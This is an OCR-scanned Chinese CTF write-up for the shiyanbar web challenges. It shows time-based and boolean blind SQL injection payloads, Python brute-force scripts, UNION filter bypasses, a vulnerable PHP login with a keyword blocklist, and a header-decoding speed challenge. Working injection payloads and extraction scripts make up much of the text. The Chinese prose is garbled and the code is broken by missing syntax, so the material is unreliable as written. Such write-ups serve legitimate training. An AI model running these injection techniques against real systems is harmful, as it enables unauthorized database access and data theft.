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username: "'

password: "'



& C | @ ctf5.shiyanbar.com/web/wonderkun/web/Ic B e Py » =

ctf{51d1bf8fb65a8c2406513ee8f52283e7}

hint:

username:''="

password:''='
username password
hell02w 69bc7cf459bcff03625939193ec71ele
wO0d3rkun dbb9111e4ed03e2d4021c3c3b0ac8749
mutOr3nl 86846490336911c0f3c6e07cc197d22c

who are you?
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O ctf5.shiyanbar.com/ X ctf5.shiyanbar.com/w: X

& c ‘@ ctf5.shiyanbar.com/web/wonderkun/index.php v & @ eee 1}’ » =

your ip is :117.32.131.179
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1. HIWr R EAFRKE 1 and case when (length((SELECT concat(database())))&1t;5) then sleep(3) else sleep(0)
end and &#039;18#039;=8#039;1 , WLAWIRIATHIER, WIULRAKIEFE LI/ TONFLRE, [ &1t;4 HIRHE, JATAM
T, Ui B R B B AN TR

2. FIWiEE EAL SN F4F, &quot;18&#039; and case when (substring((select database()) from %s for
1)=8#039;%s8&#039;) then sleep(5) else sleep(@) end and &#0839;18&#039;=8#039;1&quot;%(i,each) , HHii AMHI
AN, for 1 NEL—ANFFRF, each Mascii, MIA)E] AW HE B 42 N webs

3. BEHIEEPRAMEE, 18#039; and case when ((select count(TABLE_NAME) from information_schema.tables
where table_schema=8&#039;web4&#039;) = 2) then sleep(3) else sleep(®) end and &#039;18#039;=8#039;1; L] ¥
Wr R EEh B R R

4. HMEEERZKE, 8&quot;1&#039; and case when(substring((select group_concat(table name separator
&#039; ;&#039;) from information_schema.tables where table_schema=&#039;web4&#039;) from %s for
1)=8&#039;&#039;) then sleep(6) else © end and &#039;a&#039;=8#039;a&quot; % (i), Hi i AKE.

5. HIWrEHEEFER 4, &quot;1&#039; and case when(ascii(substring((select group_concat(table_name separator
&#039; ;&#039;) from information_schema.tables where table_schema=&#039;web4&#039;) from %s for 1))=%s) then
sleep(6) else @ end and &#039;a&#039;=8&#039;a&quot; % (i,each) , HFii AMNEBINFZRITE, for 1 AR—NF
%, each ANascii, RF|F flag -

6. HWrFEflag= B, &quot;18&#039; and case when(ascii(substring((select group_concat(column_name separator
&#039; ;&#039;) from information_schema.columns where table_name=&#039;flag&#039;) from %s for 1))=%s) then
sleep(6) else @ end and &#039;a&#039;=&#039;a&quot; % (i,each), 5E|FE flag .

7. HlWrsRflag, FEflag WA KE, 8&quot;1&#0839; and case when(length(substring((select group_concat(flag
separator &#039;;&#039;) from flag) from %s for 1))=&#039;8&#039;) then sleep(6) else © end and
&#039; a&#039;=&#039; a&quot; %i o

8. FkWiflagfEl, &quot;18&#039; and (select case when (substring((select flag from flag ) from %d for 1
)=&#039;%s8&#039;) then sleep(10) else sleep(®) end ) and &#039;1&#039;=_&#039;1&quot;%(i,str) .

9. flagli N

5|— T 3K B flag it A1 A<



#-*-coding:utf-8-*-#& Fpython2.7
import requests
import string
import time
url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"
payloads="abcdefghijklmnopgrstuvwxyz0123456789@ .{}-"'
flag=""
print("Start”
for i in range(33
for payload in payloads
starttime = time.time()# 72574 Fi /i
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"#& Hurl
headers = {"Host": "ctf5.shiyanbar.com"
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Geck
o) Chrome/59.0.3071.115 Safari/537.36"
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;gq=0.3"
"Accept-Encoding": "gzip, deflate"
"Cookie": "Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1470994390,1470994954,1470995086,147148781
5; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*67928%2CnickName%3Ayour"
"Connection": "keep-alive"
"X-FORWARDED-FOR":"127.0.0.1"' and case when ((select count(flag) from flag where flag like ""
+flag+payload+"%')>0) then sleep(5) else sleep(®) end and '1'="1"

#bp ZFheader F£X7X- FORWARDED - FORH#ITHEEL, I iE A A B M flag PeEFEHIflag, B FEEHflag, payloadZEHEMs
Leep5#, EAEHIAT L% — Fcase wheniZ A filike %iF#]
res = requests.get(url, headers=headers
if time.time - starttime > 5
starttime2 = time.time
res = requests.get(url, headers=headers
if time.time - starttime > 5
flag += payload
print("flag is:%s"%flag
break
else
pass
#print("', ) #RIGHEFRER T, BLETBiApayload, #EEFLHZIflag | E R EHEEH TF—1
print('\n[Finally] current flag is %s' % flag
# cdbf14c9551d5be5612f7bb5d2867853

RIEBRZ LA, B, BT HLR, 4 IEMH.
ctf{cdbf14c9551d5be5612f7bb5d2867853}

()

flag is:cdbf14c9551d5be5612f7bb5d28
flag is:cdbf14c9551d5be5612f7bb5d2867
flag is:cdbf14c9551d5be5612f7bb5d28678

flag is:cdbf14c9551d5be5612f7bb5d286785
flag is:cdbf14c9551d5be5612f7bb5d2867853

[Finally] current flag is cdbf14c9551d5be5612f7bb5d2867853
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<?php
error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">"'."<br/>";
echo '<input name="uname" type="text"/>"'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->"'."<br/>";
die;

function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($Strvalue)){
$StrValue=implode($StrVvalue);
}
if (preg_match("/".$ArrReq."/is",$Strvalue)==1){
print "JKAIES, TRAISRAE! U
exit();

$filter = "and|select|from|where|union|join|sleep|benchmark]|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);

}
$con = mysql_connect ("XXXXXX", "XXXXXX", "XXXXXX") ;
if (!$con){
die('Could not connect: ' . mysql_error());
}

$db="XXXXXX" ;
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
telseq{
print "JREIZEME! "
¥
telse{
print "—BUEM! ";
}
mysql_close($con);
?>

AUERINEERE T =M

1. $filter = "and|select|from|where|union|join|sleep|benchmark]|, |\(|\)";
2. if (mysql_num_rows($query) == 1) {
3. if($key['pwd'] == $_POST['pwd']) {



BB, AR NRERTET —REFE, HEEHTEALAH THEFRFPIE T, HERGSTE, FH 1 or
"1t o# e,

BAERAPAERNEREREF A, EREMAIEA 1 or 1 limit 1 offset 0 # 54T,
FEABERRAE-NMKENSERESD pud FREMH PR FR pwd —F, WR—F, MiREfag. XAGTATLUEDAE

F group by with rollup iBAJHEITEETE, with rollup FIMEREER FHEEIVE, R ESEI3KERE 2 iknul=nul, 5%]H
payload 1' or 1 group by pwd with rollup limit 1 offset 2#, W LAF Floffset/GHENT 2, FAFgourp by 7B
Hopwd, XFAT with roolup BI— M, ZoffsetlmBNItF A% HBE—%+10, TRIFIHBRE—%MES, BRNEAH
BHREAHARN, LATpwdtB TEREHAE, mysqishé i Tnul, XFESHE T 3.

GROUP BY 4] fa F— AN ARAMT ¥ I 21 6 % i o WITH ROLLUP 8145 . X a7 R 1 2 (B = R 48 ) TR 2 4E . ROLLUP [H T fo ¥R
TEZ BT I A B A R I W 1) . 35 VR 7T BAE A ROLLUP, B R — AN R EEXUE 447 K —4> WITH ROLLUPEARFF 4 n 2]
GROUP BY if4], fEME=ER—TER, ZTER T HEEHKBME:

mysql> SELECT year, SUM(profit) FROM sales GROUP BY year WITH ROLLUP;

Feo oo +

| year | SUM(profit) |

Fommme Fomommmmeeeee +

| 2000 | 4525 |

[ 2001|3010 |

| NULL | 7535 |

- R R +



& C (@ ctf5.shiyanbar.com/web/pcat/index.php B e Py » =

CTF{with_rollup_interesting}

 OEEE HRtlae O BEds () #XRE8 O M @ HackBar » H e X

@ Load URL http://ctf5.shiyanbar.com/web/pcat/index.php

 split URL

Execute — _ _
2= Post data [ | Referrer ' User Agent ' | Cookies

Post Data uname=1' or 1 group by pwd with rollup limit 1 offset 2#&pwd=

i K sqliE A1
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You have an error in your SQL syntax; check the manual tk
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RREN

ID: 1 unionselect
name: baloteli

¥ OTEE& B itla O EEs () #KE8 S M @ HackBar »

@ Load URL http://ctf5.shiyanbar.com/423/web/?id=1 unionselect
i Split URL

E t - - - B
2 Execute Post data | | Referrer = User Agent | Cookies

AR AR, XMER—BEURSEERM B ZEEANE, ERERW +, 5%/, /%1%/, %0a KEATUSE SR, HiH—

/l\payload, id=1"+union%@aselect/**/flag/**/from/**/flag/**/where/**/'1'="1 ,
flag{YOu_@r3_50_dAmn_900d}

® 3 X | 2 X

< K

& C (@ ctf5.shiyanbar.com/423/web/?id=1"+union B e Py » =

nay
BIREE T A RA?
ey

ID: 1' union

select/**/flag/**/from/**/flag/**/where/**/'1'="1

name: baloteli

ID: 1' union

select/**/flag/**/from/**/flag/**/where/**/'1'="1

name: flag{YOu_@r3_50_dAmn_900d}
v O EEE HHla O B8 () #RE8 O 4 @ HackBar »

H e X



@ Load URL http://ctf5.shiyanbar.com/423/web/?id=1'+union%0aselect/**/flag

. /**/from/**/flag/**/where/**/'1'="1
& Split URL

E t — - - B
y) Execure Post data " Referrer — User Agent | Cookies

Ha—MRBUTERK

payload, id=1'+union%@aselect/**/TABLE_NAME/**/from/**/information_schema.tables/**/where/**/'1'="1

& C | @ ctf5.shiyanbar.com/423/web/?id=1'+union B e D

UAlllT .« VAlULTL.L

ID: 1' union
select/**/table_name/**/from/**/information_schema.table
name: CHARACTER_SETS

ID: 1' union
select/**/table_name/**/from/**/information_schema.table
name: COLLATIONS

ID: 1' union
select/**/table_name/**/from/**/information_schema.table
name: COLLATION CHARACTER SET APPLICABILITY

R OO EEH# D#iEHe OEEdf () #lRESR O Mt @ HackBar » H e X

@ Load URL http://ctf5.shiyanbar.com/423/web/?id=1'+union%0aselect

. **/TABLE_NAME/**/from/**/information_schema.tables/**/where

. Sgllt URL * 141 __1

o */'1'="1 4
» Execute

_ Postdata [ | Referrer ' User Agent ' | Cookies

i B sqliE A 22
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You have an error in your SQL syntax; check the manual tk
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M E—RB, FRAKRIXERE LI T %ea, 4l
payload, id=1%27/**/union+select/**/flag/**/from/**/flag/**/where/**/%271%27=%271 o

& @ (@ ctf5.shiyanbar.com/web/index_2.php?id=1 A TII + D > S—

flag
BIREET HAFRE?

BB
ID: 1'/**/union select/**/flag/**/from/**/£flag/**/where,
name: baloteli
ID:

1'/**/union select/**/flag/**/from/**/flag/**/where,
name: f£lag{YOu @r3 50 dAmn 9004}

R OEER D#EHa OEEdsf () #XRER O Mt @ HackBar » H e X

& Load URL http://ctf5.shiyanbar.com/web/index_2.php?id=1%27
/**/union+select/**/flag/**/from/**/flag/**/where/**/%271%27=%271
§ split URL
A
» Execute

~ Postdata ' Referrer ' User Agent ' | Cookies

flag{YOu_@r3_50_dAmn_900d}

A sqiEAZ3
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oo F .

& C (@ ctf5.shiyanbar.com/web/index_3.php?id=1 A TII + D > S—

flag

BREE T HA?
23T
Hello!

BH #R

mysqlikEsiEAN

R flag{}

iR 7L IR B

WA H EFsqimaprl LE#HIE R, FNEESH THREENGX LD, WK T updatexml. extractvalueffFRAA T, (B2

A id=1' and ascii(substr(database(),1,1))&1t;200 --+, KRIFLLIEEHIT. FEMAS B WA ZEE, K, 51T, AT
Z#**who are you?* I R, 45 HPAT A



# coding:utf-8

import requests
import string
string = string.digits+string.ascii_lowercase
flag =
FLAG = False
def POC(x,1i
url = "http://ctf5.shiyanbar.com/web/index_3.php?id="
poc = "1'and ascii(substr((select flag from flag),%d,1))=%d--+ " % (x, i
res = requests.get(url+poc
print('testing url:"' + url + poc) # test...
if res.text.find("Hello") > ©
return 1
else
return 0
for x in range(1, 35

for i in range(35, 129 # asciifga JLF#32-127
if POC(x, i
flag.append(chr(i # chr() BBHFEAXT N FasciiiGFiF
break
elif i == 128
FLAG =
if FLAG
break
# LIFRFE AR5
get_flag = "'

# HZ7fLag R H VLELH F 1701 8 15
True

for i in flag
get flag += 1
print get_flag

url

url:
url:
url:
url:
url:
url:
url:
url:

testing
testing
flag{You_@r3_50_dAmn_900d}

http:
http:
http:
http:
http:
http:
http:
http:

thttp://ctf5.
//ctf5.
//ctf5.,
//ctf5.
//ctf5.
//ctf5.
//ctf5.
//ctf5.
//ctf5.

shiyanbar.
shiyanbar.
shiyanbar.
shiyanbar.
shiyanbar.
shiyanbar.
shiyanbar.
shiyanbar.
shiyanbar.

flag{YOu_@r3_50_dAmn_900d}

KT B T HE RSB

com/web/index_3.php?id=1'and
com/web/index_3.
com/web/index_3.
com/web/index_3.
com/web/index_3.
com/web/index_3.
com/web/index_3.
com/web/index_3.
com/web/index_3.

php?id=1'and
php?id=1'and
php?id=1'and
php?id=1"and
php?id=1'and
php?id=1"'and
php?id=1'and
php?id=1'and

ascii(substr((select
ascii(substr((select
ascii(substr((select
ascii(substr((select
ascii(substr((select
ascii(substr((select
ascii(substr((select
ascii(substr((select
ascii(substr((select

flag),27,1))=120--+
flag),27,1))=121--+
flag),27,1))=122--+
flag),27,1))=123--+
flag),27,1))=124--+
flag),27,1))=125--+
flag),27,1))=126--+
flag),27,1))=127--+
flag),27,1))=128--+
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Q 3 X ctf5.shiyanbar.com/web/10/10.php X

& @ (@ ctf5.shiyanbar.com/web/10/10.php A TII + D > S—

can you do it more faster?There is no martial art is indefectible, while the fastest speed
is the only way for long success.
>>>>>>----You must do it as fast as you can!----<<<<<<

x EEE D#EHla OEEdsE () #RER O 4 @ HackBar » H e X

@ Load URL http://ctf5.shiyanbar.com/web/10/10.php
§ split URL

E t - - B
y) Execute Post data | Referrer — User Agent | Cookies

Post Data key=1

BH#R

AR MRk

B CTF{ }



a8
EREHIEEMNIES] <! -- please post what you find with parameter:key -->, 33 key=1, REEMMNLHNEZ .

! Reques Response

¢ [Raw | Params | Headers | Hex Raw | Headers | Hex

POST /web/10/10.php HTTP/1.1 A HTTP/1.1 200 OK

{Host: ctf5.shiyanbar.com r Date: Mon, 09 Jul 2018 09:09:46 GMT

|User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
1rv:6l1.0) Gecko/20100101 Firefox/61.0 X-PoyCIrCU-BY: FPHOF/ 5.2

Accept: FLAGiEUDETVFQUSElTXleXONINE5HRV9GTDRHOlZuaOC2MldJaA==
text/html,application/xhtml+xml,application/xml;gq=0.9,*/*;q Cont

i=0.8 Connection: close

Accept-Language: Content-Type: text/html
4zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;g=0.2

f can you do it more faster?There is no martial art is
{Accept-Encoding: gzip, deflate indefectible, while the fastest speed is the only way for
(Referer: http://ctf5.shiyanbar.com/web/10/10.php long success.</br>>>>>>>----You must do it as fast as you
Content-Type: application/x-www-form-urlencoded can!----<<<<<<</br>

,Content-Length: 5 <!-- please post what you find with parameter:key -->

fCookie:

|Hm lvt 34d6£7353ab0915a4c582e4516dffbec3=1530840464;
jHm_cv_34d6£7353ab0915a4c582e4516dffbc3=1*visitor*154661%2Cn
1ckName%3A%E8%B0%81%E7%9A%843E5%90%8A%E6%9C%80%E5%A4%A7
DNT: 1

iConnection: close

lUpgrade—-Insecure—-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

Jkey=1

UDBTVFOUSE1TX1QWXONINESHRVOGTDRHO1Zuadc2M1dJaA== fRF% J5 A POST _THIS_T@ CHANGE_FLA4G:VnkG63WIh , HR¥EE H R~ ik
R, MBEHARBITRET .

# coding:utf8

import requests

import base64

url = "http://ctf5.shiyanbar.com/web/10/10.php" # A#URL

response = requests.post(url,data={"key":"1"}) # F#//F##
print response
head = response.headers # FFHu// L

flag = base64.b64decode(head[ ' flag']).split(':")[1] # FEHAMLAHFLag
print flag # #7HIFlag
postData = {'key': flag} # #&PostiZFKk

result = requests.post(url=url, data=postData) # 7//f/Post 77z K% iF,
# (HEEEEF—1Session# , FHIFRGFE R ECookies , (HEMET FHE)
print result.text # 77HIIN A2

50_% & B _POSTE R python run.py
<Response [200]>

rHwKM9cMJ
CTF{YOQU_4R3_1INCR3D1BL3_F4ST!}

CTF{YOU_4R3_1NCR3D1BL3_F4ST!}
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